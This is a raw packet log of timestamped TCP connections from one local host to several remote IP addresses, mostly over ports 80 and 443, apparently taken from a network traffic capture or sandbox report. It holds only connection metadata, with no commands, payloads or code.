Nov 23, 2024 05:02:48.724854946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.724900007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.725019932 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.725064039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.725828886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.725950003 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.725959063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.726023912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.726784945 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.726914883 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.726934910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.726998091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.727904081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.727915049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.728025913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.728668928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.728724957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.728759050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.728792906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.729639053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.729705095 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.729775906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.730021954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.730972052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.731018066 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.731023073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.731059074 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.731569052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.731606960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.731858015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.731899023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.732906103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.732947111 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.784009933 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.784022093 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.784051895 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.784061909 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.784094095 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:48.784121037 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.784151077 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:48.784852982 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:48.830863953 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.830898046 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.830941916 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:48.830982924 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:48.831001043 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.831060886 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:48.841893911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.841996908 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.842154026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.842252970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.842479944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.842492104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.842545033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.843126059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.843280077 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.843655109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.843764067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.844113111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.844162941 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.844307899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.844504118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.845012903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.845077991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.845191956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.845287085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.846034050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.846090078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.846184015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.846293926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.846956968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.847101927 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.847379923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.847433090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.847840071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.847945929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.891849995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:48.891902924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.946083069 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:48.956340075 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.956383944 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.956417084 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:48.956442118 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.956459999 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:48.956495047 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:48.967407942 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.967477083 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:48.967499018 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.967525005 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:48.967561960 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:48.967765093 CET	49851	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:48.967780113 CET	443	49851	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.065764904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.121819973 CET	443	49869	23.57.90.143	192.168.2.6
Nov 23, 2024 05:02:49.122128010 CET	49869	443	192.168.2.6	23.57.90.143
Nov 23, 2024 05:02:49.122162104 CET	443	49869	23.57.90.143	192.168.2.6
Nov 23, 2024 05:02:49.125210047 CET	443	49869	23.57.90.143	192.168.2.6
Nov 23, 2024 05:02:49.125267982 CET	49869	443	192.168.2.6	23.57.90.143
Nov 23, 2024 05:02:49.126357079 CET	49869	443	192.168.2.6	23.57.90.143
Nov 23, 2024 05:02:49.126420021 CET	443	49869	23.57.90.143	192.168.2.6
Nov 23, 2024 05:02:49.157537937 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.158024073 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.158080101 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.158483982 CET	49859	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.158498049 CET	443	49859	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.195444107 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.195781946 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.195846081 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.196933031 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.197016954 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.197410107 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.197480917 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.197559118 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.237538099 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.237731934 CET	443	49861	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.238001108 CET	49860	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.238028049 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.238481045 CET	49861	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.238521099 CET	443	49861	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.238524914 CET	49860	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.238531113 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.239005089 CET	49861	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.239031076 CET	443	49861	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.239340067 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.271414995 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.272027016 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.272063017 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.272840977 CET	49867	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.272846937 CET	443	49867	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.278055906 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.278091908 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.287347078 CET	443	49862	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.290611029 CET	49862	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.290641069 CET	443	49862	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.291420937 CET	49862	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.291424990 CET	443	49862	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:49.335331917 CET	443	49869	23.57.90.143	192.168.2.6
Nov 23, 2024 05:02:49.335402966 CET	49869	443	192.168.2.6	23.57.90.143
Nov 23, 2024 05:02:49.390822887 CET	443	49870	13.107.21.237	192.168.2.6
Nov 23, 2024 05:02:49.391160965 CET	49870	443	192.168.2.6	13.107.21.237
Nov 23, 2024 05:02:49.391181946 CET	443	49870	13.107.21.237	192.168.2.6
Nov 23, 2024 05:02:49.391700983 CET	443	49870	13.107.21.237	192.168.2.6
Nov 23, 2024 05:02:49.391777992 CET	49870	443	192.168.2.6	13.107.21.237
Nov 23, 2024 05:02:49.392401934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.392507076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.392509937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.392574072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.392695904 CET	443	49870	13.107.21.237	192.168.2.6
Nov 23, 2024 05:02:49.392793894 CET	49870	443	192.168.2.6	13.107.21.237
Nov 23, 2024 05:02:49.392992973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.393055916 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.393181086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.393229008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.393790960 CET	49870	443	192.168.2.6	13.107.21.237
Nov 23, 2024 05:02:49.393831968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.393874884 CET	443	49870	13.107.21.237	192.168.2.6
Nov 23, 2024 05:02:49.393935919 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.394099951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.394155025 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.394850016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.395061016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.395802021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.395840883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.395867109 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.395878077 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.395886898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.395922899 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.396706104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.396760941 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.397697926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.397737026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.397758961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.397773027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.397773027 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.397830009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.398592949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.398647070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.399631977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.399672031 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.399691105 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.399709940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.399717093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.399751902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.400517941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.400573969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.401499033 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.401535034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.401562929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.401568890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.401593924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.401623964 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.402390957 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.402441978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.403420925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.403456926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.403491974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.403500080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.403528929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.403553009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.404320955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.404433966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.405400991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.405417919 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.405457973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.405492067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.405756950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.405946016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.406328917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.406344891 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.406398058 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.407227993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.407303095 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.408271074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.408287048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.408319950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.408332109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.408341885 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.408380985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.409136057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.409154892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.409193039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.409224033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.410083055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.410099030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.410136938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.410170078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.410983086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.411051035 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.411962032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.411978006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.411995888 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.412024975 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.412080050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.412880898 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.412934065 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.413872957 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.413888931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.413906097 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.413938999 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.413985014 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.414805889 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.414865017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.415462971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.415520906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.415797949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.415832996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.415862083 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.415899038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.416722059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.416785955 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.416873932 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.416922092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.417678118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.417845964 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.418242931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.418311119 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.419636965 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.419671059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.419698000 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.419706106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.419740915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.419771910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.419771910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.419888973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.420516014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.420594931 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.420746088 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.420803070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.421037912 CET	443	49872	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:49.421245098 CET	49872	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:49.421256065 CET	443	49872	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:49.421524048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.421559095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.421588898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.421619892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.422516108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.422590971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.422730923 CET	443	49872	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:49.422782898 CET	49872	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:49.423182011 CET	49872	443	192.168.2.6	23.209.72.21
Nov 23, 2024 05:02:49.423239946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.423269033 CET	443	49872	23.209.72.21	192.168.2.6
Nov 23, 2024 05:02:49.423309088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.423407078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.423441887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.423496008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.424407005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.424443007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.424479008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.424521923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.425342083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.425375938 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.425389051 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.425415993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.426269054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.426321030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.426531076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.426737070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.427289009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.427341938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.427345991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.427450895 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.428201914 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.428256035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.428258896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.428294897 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.429120064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.429169893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.429689884 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:49.429955006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.430016994 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.430083990 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.430119038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.430133104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.430159092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.431015968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.431087017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.431276083 CET	443	49871	20.110.205.119	192.168.2.6
Nov 23, 2024 05:02:49.431349993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.431396008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.431473017 CET	49871	443	192.168.2.6	20.110.205.119
Nov 23, 2024 05:02:49.431485891 CET	443	49871	20.110.205.119	192.168.2.6
Nov 23, 2024 05:02:49.432008028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.432043076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.432061911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.432076931 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.432966948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.433006048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.433053970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.433100939 CET	443	49871	20.110.205.119	192.168.2.6
Nov 23, 2024 05:02:49.433147907 CET	49871	443	192.168.2.6	20.110.205.119
Nov 23, 2024 05:02:49.433938026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.433971882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.433989048 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.434005976 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:49.434653997 CET	49871	443	192.168.2.6	20.110.205.119
Nov 23, 2024 05:02:49.434747934 CET	443	49871	20.110.205.119	192.168.2.6
Nov 23, 2024 05:02:49.434919119 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.434952021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:49.434967995 CET	49819	80	192.168.2.6	185.215.113.206
